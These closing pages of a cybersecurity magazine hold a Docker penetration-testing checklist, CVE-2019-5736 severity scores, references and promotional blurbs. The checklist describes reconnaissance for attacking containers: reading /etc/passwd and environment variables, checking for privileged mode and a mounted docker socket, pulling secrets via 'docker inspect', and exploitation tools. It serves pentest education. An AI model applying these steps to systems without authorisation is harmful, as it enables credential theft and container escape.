This vulnerability has affected badly the entire container and cloud universe whether it be RedHat OpenShift, OCI, GKE, LXC, and many more. Nessus exploitability score is less with “High” severity. The CVSS v2.0 base score is 9.3 while CVSS v3.0 base score is 8.6.

CVE-2019-5736 Vulnerability from Tenable Nessus [22]

166

Docker Penetration Testing Checklist We have seen a lot of ways to exploit Docker containers. And now it’s time to consolidate our efforts and analysis which might include some further information.

1. Check if you are inside a container: a. Look out for the following files via the terminal. i. ‘/.dockerenv’ – contains the environment variables defined inside the container. ii. ‘/.dockerinit’ – was a sort of init process might be deprecated due to LXC. b. Look out for ‘docker’ keyword in the ‘/proc/1/cgroup’. c. Check PID 1 for containers. It will not be ‘init’ or ‘systemd’ as in case of normal Linux Systems. 2. Penetration Testing Inside a container: a. Run user enumeration as most of the time one logs in with root user by default. This is having privileges to access ‘/etc/passwd’ file which can help in user enumeration. b. Try to identify the container OS type, release, version, etc. i. Using “uname -a” ii. Using “/etc/os-release” c. Check out the running processes inside the system. Containers have PID 1 with very specific task like ‘/bin/bash’, ‘nginx daemon on’, ‘mysqld’, etc. d. Use ‘env’ to get environment variable from the container. e. Check the capabilities inside the container to exploit. f. Check if the container is running in privileged mode. g. Check for available volumes if mountable. h. Check for mounted docker socket. i. Check network configuration (if present as “host” network) and exposed ports for the container. j. Check for container image vulnerabilities if present. k. Use ‘docker inspect’ to get passwords or secret credentials from the running containers and their environment variables. 3. Use of Automated Scanning tools and Exploitation tools: a. DockerScan, DockerBench, Clair, etc. for different types of scanning. b. BOtB, Metasploit, Harpoon, etc. for Exploiting Docker containers.

167

Lessons Learnt Docker containers will always remain the part of our IT infrastructure as containerization has proved its worth. With the advancement in orchestration technologies like Docker Swarm, Kubernetes, etc., container security is becoming the necessity. Beginning with Docker basics to Docker architecture and internals, we have seen a lot of examples and practical exercises to understand Docker Concepts. The coverage includes security concerns w.r.t Docker components and some prominent vulnerabilities with Docker environment. It would be interesting to see how time flies in the favor of Docker security concerns and people won’t overlook the knitty gritty security things with containerization. References 1. 2. 3. 4. 5. 6. 7.

8. 9. 10. 11. 12. 13. 14.

15. 16.

17. 18. 19. 20.

21.

Photo by Rinson Chory on Unsplash Introduction to Full Virtualization, NIST SP 800-125, Karen Scarfone, Murugiah Souppaya, Paul Hoffman. Link: nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-125.pdf Containers and the Host Operating System, Section 2.2, Application Container Security Guide, NIST SP 800190. Link: nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf Container Technology Architecture, Section 2.3, Application Container Security Guide, NIST SP 800-190. Link: nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf Play with Docker, Link: labs.play-with-docker.com/ Docker Architecture, Docker docs. Link: docs.docker.com/get-started/overview/#docker-architecture Architecting Containers Part 1, Scott McCarthy, Published on July 29, 2015, RedHat Blog. Link: redhat.com/en/blog/architecting-containers-part-1-why-understanding-user-space-vs-kernel-spacematters Architecting Containers Part 2, Scott McCarthy, Published on Sept. 17, 2015, RedHat Blog. Link: redhat.com/en/blog/architecting-containers-part-2-why-user-space-matters Namespaces, The underlying technology, Docker docs. Link: docs.docker.com/getstarted/overview/#namespaces Ideas for a cgroups UI, Mairin Duffy, Published on May 13, 2011. Link: mairin.wordpress.com/2011/05/13/ideas-for-a-cgroups-ui/ Docker Internals, Docker Saigon, Published on 2/29/16. Link: docker-saigon.github.io/post/DockerInternals Michael Hausenblas, mhausenblas/cinf [GitHub], 2020. Link: github.com/mhausenblas/cinf Linux Post Install, Docker docs. Link: docs.docker.com/engine/install/linux-postinstall/ RootedCon 2017 – Docker might not be your friend. Trojanizing Docker Images, Daniel Garcia, Slideshare, shed on Mar 2, 2017. Link: slideshare.net/cr0hn/rootedcon-2017-docker-might-not-be-your-friendtrojanizing-docker-images Daniel Garcia, cr0hn/dockerscan [Github], 2017. Link: github.com/cr0hn/dockerscan Hundreds of Vulnerable Docker Hosts Exploited by Cryptocurrency Miners, Vitali Simonovich and Ori Nakar, Imperva Blog, Published on Mar. 4, 2019. ink: imperva.com/blog/hundreds-of-vulnerable-dockerhosts-exploited-by-cryptocurrency-miners/ Docker Remote API Detection, Nessus Plugin, Tenable. Link: tenable.com/plugins/nessus/124029 Unpassworded ‘root’ Account, Nessus Plugin, Tenable. Link: tenable.com/plugins/nessus/11245 CVE-2019-5021: Alpine Docker Image ‘null root password’ Vulnerability, Amir Jerbi, Aqua Blog, Published on May 12, 2019. Link: blog.aquasec.com/cve-2019-5021-alpine-docker-image-vulnerability CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host, Adam Iwaniuk, Dragon Sector Blog, Published on 2/13/2020. Link: blog.dragonsector.pl/2019/02/cve-2019-5736-escape-fromdocker-and.html Breaking out of Docker via runC – Explaining CVE-2019-5736, Yuval Avrahami, Unit 42 Blog, Published on Feb 21, 2019. unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/

168

169

Cyber Secrets Contributors

If you are interested in writing an article or walkthrough for Cyber Secrets or IWC Labs, please send an email to [email protected] If you are interested in contributing to the CSI Linux project, please send an email to: [email protected]

Amy Martin, Editor Joshua Martin, Editor Daniel Traci, Editor/Design Jeremy Martin, Editor/Author Richard K. Medlin, Author Frederico Ferreira, Author Vishal M Belbase, Author Carlyle Collins, Author Nitin Sharma, Author Ambadi MP, Author Shoriful Islam, Author Yang Sze Jue, Author

I wanted to take a moment to discuss some of the projects we are working on. They are a combination of commercial, community driven, & Open-Source projects. Cyber WAR (Weekly Awareness Report) Everyone needs a good source for Threat Intelligence and the Cyber WAR is one resource that brings together over a dozen other data feeds into one place. It contains the latest news, tools, malware, and other security related information. InformationWarfareCenter.com/CIR CSI Linux (Community Linux Distro) CSI Linux is a freely downloadable Linux distribution that focuses on Open-Source Intelligence (OSINT) and SOCMINT investigation, traditional Digital Forensics, and Incident Response (DFIR), and Cover Communications with suspects and informants. This distribution was designed to help Law Enforcement with Online Investigations but has evolved and has been released to help anyone investigate both online and on the dark webs with relative security and peace of mind. CSILinux.com

Cyber “Live Fire” Range (Linux Distro) This is a commercial environment designed for both Cyber Incident Response Teams (CIRT) and Penetration Testers alike. This product is a standalone bootable external drive that allows you to practice both DFIR and Pentesting on an isolated network, so you do not have to worry about organizational antivirus, IDP/IPS, and SIEMs lighting up like a Christmas tree, causing unneeded paperwork and investigations. This environment incorporates Kali and a list of vulnerable virtual machines to practice with. This is a great system for offline exercises to help prepare for Certifications like the Pentest+, Licensed Penetration Tester (LPT), and the OSCP.

170

CyberSec.TV We are building a site that pulls together Cyber Security videos from various sources to make great content easier to find. Cyber Secrets Cyber Secrets originally aired in 2013 and covers issues ranging from Anonymity on the Internet to Mobile Device forensics using Open-Source tools, to hacking. Most of the episodes are technical in nature. Technology is constantly changing, so some subjects may be revisited with new ways to do what needs to be done. Just the Tip Just the Tip is a video series that covers a specific challenge and solution within 2 minutes. These solutions range from tool usage to samples of code and contain everything you need to defeat the problems they cover. Quick Tips This is a small video series that discusses quick tips that covers syntax and other command line methods to make life easier • •

CyberSec.TV Amazon FireTV: amzn.to/3mpL1yU

Active Facebook Community: Facebook.com/groups/cybersecrets

171

Information Warfare Center Publications

If you want to learn a little more about cybersecurity or are a seasoned professional looking for ways to hone your tradecraft? Are you interested in hacking? Do you do some form of Cyber Forensics or want to learn how or where to start? Whether you are specializing on dead box forensics, doing OSINT investigations, or working at a SOC, this publication series has something for you. Cyber Secrets publications is a cybersecurity series that focuses on all levels and sides while having content for all skill levels of technology and security practitioners. There are articles focusing on SCADA/ICS, Dark Web, Advanced Persistent Threats (APT)s, OSINT, Reconnaissance, computer forensics, threat intelligence, hacking, exploit development, reverse engineering, and much more. Other publications A network defender's guide to threat detection: Using Zeek, Elasticsearch, Logstash, Kibana, Tor, and more. This book covers the entire installation and setup of your own SOC in a Box with ZEEK IDS, Elasticstack, with visualizations in Kibana. amzn.to/2AZqBJW --IWC Labs: Encryption 101 – Cryptography Basics and Practical Usage is a great guide doe those just starting in the field or those that have been in for a while and want some extra ideas on tools to use. This book is also useful for those studying for cybersecurity certifications. amzn.to/30aseOr --Are you getting into hacking or computer forensics and want some more hands-on practice with more tools and environments? Well, we have something that might just save you some time and money. amzn.to/306bTu0 --This IWC Lab covers privilege escalation after exploitation. There are many ways to escalate privileges on both windows and Linux and we cover many of them including docker exploitation. amzn.to/3jCmGab --Containerization is increasing widely with the adoption of Docker for container workloads. It is always easy to spin a container and start working on it. But wait! Have you ever thought of the security of your container workloads? Did your Docker Container ecosystems can defend themselves against latest sophisticated attacks? Or you might be relying on legacy security systems to make them do the security work for you. If you are still thinking the same, you need to get this book... amzn.to/34KFDPq

172